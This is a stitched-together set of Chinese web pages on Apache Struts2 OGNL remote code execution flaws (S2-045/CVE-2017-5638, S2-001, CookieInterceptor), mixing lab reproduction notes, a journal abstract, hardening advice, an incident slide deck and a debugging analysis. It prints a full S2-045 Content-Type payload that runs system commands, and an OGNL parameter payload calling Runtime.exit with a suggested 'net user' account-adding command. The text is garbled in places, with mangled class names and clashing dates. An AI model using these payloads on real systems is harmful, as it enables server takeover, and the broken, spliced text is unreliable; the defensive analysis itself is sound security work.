Remote command execution in Struts <= 2.3.1 (CookieInterceptor)COOKIE 的远程代码执行,这看起来表面上很嚣张的样子,但其实较少用到,至少默认是不用的,必须要开发人员手工配置某个action才可以攻击,注意是一个单独的action,不懂这个的可以理解为URL。
攻击者可能不知道是具体哪个action启用了这个配置,这会导致增加了漏洞发现的难度。
也许攻击者要扫描所有的action,才能碰巧遇到一个做这样配置的地方。
根据作者的经验,也许攻击者要扫描很多STRUTS2应用,才能遇到一个用到这个技术的应用。
下面的代码是示例:**/T1.jsp可以看到,这是一个只针对testCookie这个action的配置。
由于CookieInterceptor在处理cookiesName时,会遍历cookiesMap,把cookie中的每个key和value做如下:stack.setValue(cookieName, cookieValue);这样的OGNL赋值处理。
Struts-S2-045漏洞利用
Struts-S2-045漏洞利⽤最近也是在看Struts2的漏洞,这⾥与⼤家共同探讨⼀下,本次我复现的是s2-045这个编号的漏洞漏洞介绍Apache Struts 2被曝存在远程命令执⾏漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使⽤基于Jakarta插件的⽂件上传功能时,有可能存在远程命令执⾏,导致系统被⿊客⼊侵。
恶意⽤户可在上传⽂件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进⽽执⾏系统命令。
Struts2是⼀个基于MVC设计模式的Web应⽤框架,它本质上相当于⼀个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建⽴模型与视图的数据交互。
Struts2框架存在多个远程代码执⾏(S2-005、S2-009、S2-013、S2-016、S2-019、S2-020、S2-037、devmode),恶意攻击者可利⽤漏洞直接获取应⽤系统的Webshell,甚⾄获取操作系统以及数据库的权限。
漏洞编号:S2-045CVE编号:CVE-2017-5638漏洞类型:远程代码执⾏漏洞级别:⾼危漏洞风险:⿊客通过利⽤漏洞可以实现远程命令执⾏。
影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10环境准备1.docker环境及vulhub靶场(没有安装的可以参考我之前的博客)2.Burp Suite抓包⼯具漏洞POCContent-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@ng.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new ng.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@mons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"漏洞关键点1.基于Jakarta(Jakarta Multipart parser)插件的⽂件上传功能2.恶意攻击者精⼼构造Content-Type的值通过版本⽐对定位漏洞原因:1.coresrcmainjavaorgapachestruts2dispatchermultipartMultiPartRequestWrapper.java2.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaMultiPartRequest.java3.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaStreamMultiPartRequest.java三个⽂件修改内容相同,加固⽅式对⽤户报错加了条件判断。
浅析Struts2两个安全漏洞的原理、利用与防范
浅析Struts2两个安全漏洞的原理、利用与防范廖文军;朱晓乾;万开【期刊名称】《电子测试》【年(卷),期】2014(000)020【摘要】Structs2 is a web development framework widely applied to website building in large internet companies,the government and financial institutions.As a website bottom template,the whole web system is heavily dependent on its safety.Recently Apache has revealed two security vulnerabilities of Structs2, drawing much attention.This paper introduces Structs2’s basic concept and the forming principle of its two vulnerabilities,illustrates how to utilize them with examples,and concludes with the way to prevent them.%Struts2是一种web开发框架,当前被广泛应用到大型互联网企业、政府及金融机构的网站建设中。
由于Struts2的相对底层性,导致整个web系统对其安全性的依赖程度很高。
近期,Apache公司公布了Struts2的两个安全漏洞,引起业界的高度重视,本文将介绍Struts2的基本概念及这两个漏洞形成的原理,并详细介绍其利用方式及给出利用示例,同时在给出漏洞防范措施的基础上对此类安全问题的防范进行总结和思考。
【总页数】3页(P61-63)【作者】廖文军;朱晓乾;万开【作者单位】上海通用识别技术研究所,201112;上海通用识别技术研究所,201112;上海通用识别技术研究所,201112【正文语种】中文【相关文献】1.浅谈计算机软件安全漏洞原理及防范措施 [J], 罗超2.提高计算机软件安全漏洞原理及防范方法 [J], 周亚峰3.浅析电力通信自动化信息安全漏洞及防范策略 [J], 赵胜4.浅析电力通信自动化信息安全漏洞及防范策略 [J], 丁乙5.计算机网络安全漏洞及防范措施浅析 [J], 郭峰因版权原因,仅展示原文概要,查看原文内容请购买。
struts2漏洞原理
struts2漏洞原理
Struts2是一种基于Java的开源Web应用框架,它可以帮助开发者快速开发和部署复杂的Web应用程序。
然而,由于Struts2存在一些严重的安全缺陷,攻击者可以利用这些漏洞实施各种攻击,包括远程执行代码、SQL注入和命令注入等。
其中,Struts2远程执行代码漏洞是最为臭名昭著的漏洞之一,该漏洞存在于struts2框架的核心代码里,并且可以通过网络访问执行任意代码,从而导致服务器被完全控制。
攻击者通常通过构造恶意的请求来利用这个漏洞,例如在HTTP请求的头部或参数中插入特殊的代码片段,从而触发struts2的漏洞。
攻击者可以利用这个漏洞执行任意代码,包括删除文件、修改数据、窃取数据等操作。
其原因是,Struts2应用程序在接收到HTTP请求时,会将请求参数转换成Java 对象,并使用一种名为OGNL(Object-Graph Navigation Language)的表达式语言来解析这些对象。
攻击者可以在HTTP请求中注入恶意的OGNL表达式,使其在服务器上执行任意代码。
此外,Struts2还存在一些其他的安全漏洞,包括文件读取漏洞、XSS漏洞和跨站请求伪造(CSRF)漏洞等。
这些漏洞可以通过错误的配置、不安全的代码实现和其他不当的安全实践而导致。
因此,为保障应用程序的安全稳定运行,使用
Struts2开发Web应用程序的开发者需要注意代码的安全性和其他防御性措施的实现。
Struts 2 S2-045 Jakarta插件远程代码执行漏洞加固方法
Struts 2S2-045 Jakarta插件远程代码执行漏洞加固方法近日,安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架-Struts2存在远程代码执行的严重漏洞。
漏洞编号:S2-045,CVE-2017-5638漏洞名称:基于 Jakarta plugin插件的Struts远程代码执行漏洞官方评级:高危漏洞描述:Apache Struts 2被曝出存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
漏洞利用条件和方式:黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。
1.基于Jakarta(Jakarta Multipart parser)插件的文件上传功能2.恶意攻击者精心构造Content-Type的值漏洞影响范围:Struts 2.3.5 – Struts 2.3.31Struts 2.5 – Struts 2.5.10加固方式如下:通过判断Content-Type头是否为白名单类型,来限制非法Content-Type的攻击。
加固代码:1.将Java编译以后的“SecurityFilter.class”(SecurityFilter.java是源代码文件)复制到应用的WEB-INF/classes目录下。
2.配置Filter将下面的代码加入WEB-INF/web.xml文件中。
/*代表拦截所有请求,进行攻击代码检查,*.action只检查.action结尾的请求。
示例:3.重启应用即可。
struts2 漏洞原理
struts2 漏洞原理Struts2 是一种开放源代码的 Java Web 应用框架,被广泛应用于构建 Web 应用程序。
然而,Struts2 框架的一个漏洞却给许多应用程序带来了安全隐患。
本文将解释Struts2 漏洞的原理,并提供对于修复漏洞的一些方法。
Struts2 框架漏洞的原理Struts2 框架漏洞源于框架自身的设计缺陷。
设计缺陷使得攻击者可以利用恶意的输入来欺骗 Struts2 框架,从而在应用程序中执行任意的代码。
这种攻击就被称为“远程代码执行攻击”( Remote Code ExecutionAttack )。
Struts2 框架的漏洞主要是由于以下两点原因所导致的:· Struts2 使用了 OGNL (Object-Graph Navigation Language) 来解析 EL (Expression Language) 表达式,但没有正确地对表达式进行过滤,这使得恶意行为成为可能。
· Struts2 框架中的相当一部分功能是通过拦截器来实现的。
攻击者可以利用 Struts2 框架中的拦截器漏洞,绕过应用程序的权限控制来访问关键数据或者执行任意代码。
这两点都是 Struts2 框架漏洞的主因。
攻击者可以利用这两个漏洞来构建恶意的请求,并欺骗 Struts2 框架来执行恶意代码。
导致 Struts2 漏洞的例子为了更好地理解 Struts2 漏洞,可以通过一些例子来说明。
以下是一些可能导致 Struts2 框架漏洞的例子:· 未正确过滤用户输入。
比如在 Struts2 编译以数据表格为基础的应用程序时,如果没有过滤 script 标记,那么攻击者就可以通过执行JavaScript来远程控制代码,这就是远程代码执行攻击。
· XML SSI 漏洞。
攻击者可以通过将恶意代码嵌入到XML 消息中来利用该漏洞。
此漏洞允许攻击者利用Struts2 使用 XML 包含的注入布局中的初始资源解析器来绕过安全检查并完成任意文件读取/写入操作。
struts2漏洞自查报告
struts2漏洞自查报告struts2漏洞原理及解决办法1、原理Struts2的核心是使用的webwork框架,处理action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。
当我们提交一个http参数:user.address.city=Bishkek&user['favoriteDrink 9;]=kumysONGL将它转换为:action.getUser().getAddress().setCity("Bishkek") action.getUser().setFavoriteDrink("kumys")这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()。
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023contex t[\'xwork.MethodAccessor.denyMethodExecution\' ]\u003d\u0023foo')(\u0023foo\u003dnew%ng. Boolean("false")))&(asdf)(('\u0023rt.ex it(1)')(\u0023rt\***************.Runtime@getRuntime ()))=1转义后是这样:('#_memberAccess['allowStaticMethodAccess 9;]')(meh)=true&(aaa)(('#context['xwork. MethodAccessor.denyMethodExecution']=#foo')(#f oo=new%ng.Boolean("false")))&(as df)(('#rt.exit(1)')(#rt=@ng.Runtime@getRunt ime()))=1OGNL处理时最终的结果就是ng.Runtime.getRuntime().exit(1); //关闭程序,即将web程序关闭类似的可以执行ng.Runtime.getRuntime().exec("net user 用户名密码/add");//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)只要有权限就可以执行任何DOS命令。
【Struts2-命令-代码执行漏洞分析系列】S2-001
struts.xml:
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "/dtds/struts-2.0.dtd"> <struts> <package name="s2-001" extends="struts-default"> <action name="login" class="com.test.LoginAction"> <result name="success">/success.jsp</result> <result name="error">/index.jsp</result> </action> </package> </struts>
前言
最近学习java安全,在分析s2-001的时候发现了一些问题和心得。 一方面网上关于s2-001的漏洞分析很少,基本上都是poc+利用而已。 另一方面在调试过程中感觉apache官方通告有不准确的地方,这点见后面的一点说明部分。 有不准确的地方望各位师傅指出,谢谢。
漏洞信息
漏洞信息页面: https:///confluence/display/WW/S2-001 漏洞成因官方概述:Remote code exploit on form validation error 漏洞影响:
XX市政务云安全事件分析
2.出口安全设备阻断了部 分攻击,没挡住struts2
3.直接进入到气象 局系统,入侵成功
4.通过气象局主机 进行内网扫描
5.发现很多有漏洞 的系统和主机
6.进一步入侵A/B/C/D局…
事件回放
事件原因分析(技术)
『气象局』门户网站存在Struts S2-045漏洞…
云租户之间的东西向隔离不太完善…多个租户的web系统、Db存在漏洞…『云平台』安全设备策略比较简单…
云监测
云审计
云服务
API接口
监测预警
防御
日志采集
加固
天池云安全运营平台
用户管理
权限管理
统一认证
安全市场
订单与计费
云平台安全视图
大数据安全分析
云租户安全视图
云防御网络层
主机层
应用层 管理层
云控制平台
云资源平台
自助开通
智能 引流
统一 管理
租户 隔离
云平台自身防御动态 云租户安全威胁总览 云上合规符合性分析
事件原因分析(综合)
『云租户』信任云平台安全…
『云服务商』急于推广, 轻视了安全…『业务上云流程』缺乏安全评估…对政务云的安全监管不足…
安全加固建议
理清安全责任边界, 制定业务上云流程和安全规范;构建全局监控能力, 总览政务云安全;构建三级等保安全资源池, 为租户提供自服务安全能力;保障云平台通过等级保护三级测评;
业务上线前流程
云安全 监测扫描
云安全 审计分析
云安全 实时防御
业务上线后流程
按需申请云 资源和云安 全资源
云安全策略 指导
安 全 工 单 流 程
业 务 上 线 流 程
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Struts S2-045漏洞调试及分析
Auth:Cryin’
Date:2016.3.9
漏洞公告
首先看官方给出的漏洞公告信息:
“Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.”
问题原因:
“It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.”
从公告信息可以得到几个漏洞的重点信息:
●存在漏洞的模块是Jakarta
●漏洞产生的点是恶意的Content-Type头
●恶意的Content-Type头会造成程序抛出异常,在显示错误消息给用户时造成RCE 补丁对比
查看Struts2版本2.3.32在github上的commit(Uses default error key if specified key doesn't exist)并对比修改内容:
https:///apache/struts/commit/352306493971e7d5a756d61780d57a76eb1 f519a
可以看到对LocalizedTextUtil.findText方法进行了重写,并添加了判断。
Struts2RCE漏洞的根本原因是程序将用户可控数据带入OGNL表达式解析并执行,而OGNL(Object Graph Navigation Language)对象图形导航语言是一个功能强大的表达式语言,可以用来获取和设置Java对象的属性,但同时也可以对服务端对象进行修改,绕过沙盒甚至可以执行系统命令。
所以,从补丁分析来看LocalizedTextUtil.findText函数很可能是OGNL表达式的传入点,在调试分析时可在此处下断点跟踪分析。
关于jakarta
Jakarta是struts2默认处理multipart报文的解析器,该组件定义在struts-default.xml中:
默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类对上传数据进行解析并调用第三方组件commons-fileupload.jar完成上传操作。
开发人员可以通过配置struts.multipart.parser属性,修改指定不通的解析类。
如图:
所以,只要不修改默认的struts.multipart.parser属性,且有commons-fileupload.jar包。
在受影响struts2版本范围内则都受此漏洞影响。
不用实现上传功能,只要具备上述条件的struts2程序,即可进行漏洞调试、跟踪漏洞触发过程进行深入分析。
漏洞触发过程
由于不需要具体实现代码,这里建一个空工程即可,下载struts2源代码并关联,这里使用struts-2.2.30版本,并在上面提到的LocalizedTextUtil.findText函数、JakartaMultiPartRequest类的parse函数以及解析前的content_type校验处下断点,启动调试并运行POC测试脚本,在org.apache.struts2.dispatcher.Dispatcher.java文件中的wrapRequest 函数对content_type校验处截断开始单步跟踪调试。
此处对content_type头进行检查,判断是否包含multipart/form-data字段,判断成功后进行JakartaMultiPartRequest的parse函数进行解析,这就是为什么该漏洞POC都包含multipart/form-data字段的原因。
继续单步跟进,进入parse函数的断点。
继续单步运行,在processUpload函数位置抛出异常,并跳转到异常流程中,抛出的异常信息为:Invalid ContentType Exception:the request doesn't contain a multipart/form-data or multipart/mixed stream.因为ContentType未包含multipart/form-data或multipart/mixed流内容,造成程序异常。
其中可以看到异常消息中同时也包含了测试POC中ContentType头中的payload。
接着继续单步跟踪,程序流程进入buildErrorMessage函数并传入了异常消息。
该函数就应该是漏洞公告中提到的显示错误信息给用户的这部分功能代码。
继续跟进进入了下好断点的LocalizedTextUtil.findText函数。
查看LocalizedTextUtil.findText函数的介绍
https:///maven/struts2-core/apidocs/com/opensymphony/xwork2/util/Localize dTextUtil.html:
“If a message is found,it will also be interpolated.Anything within${...}will be treated as an OGNL expression and evaluated as such.”
继续跟进,最后可以看到异常消息被传入TextParseUtil.ParsedValueEvaluator对象的evaluate方法中。
这里提到Ognl值栈,可以看到包含构造Ognl语句的异常消息进入该函数,从而导致命令执行。
防护建议
●升级struts2版本到2.3.32或2.5.10.1
●使用pell、cos等其它multipart解析器
●弃坑,使用SpringMVC
参考
[1]/hacker/program/205.html
[2]/241/
[3]/u011721501/article/details/60768657
[4]/three_feng/article/details/60869254
[5]https:///apache/struts/
[6]/apache-struts2-remote-code-execution-vulnerability-
analysis-program/
[7]https:///confluence/display/WW/S2-045
[8]/dist/struts/。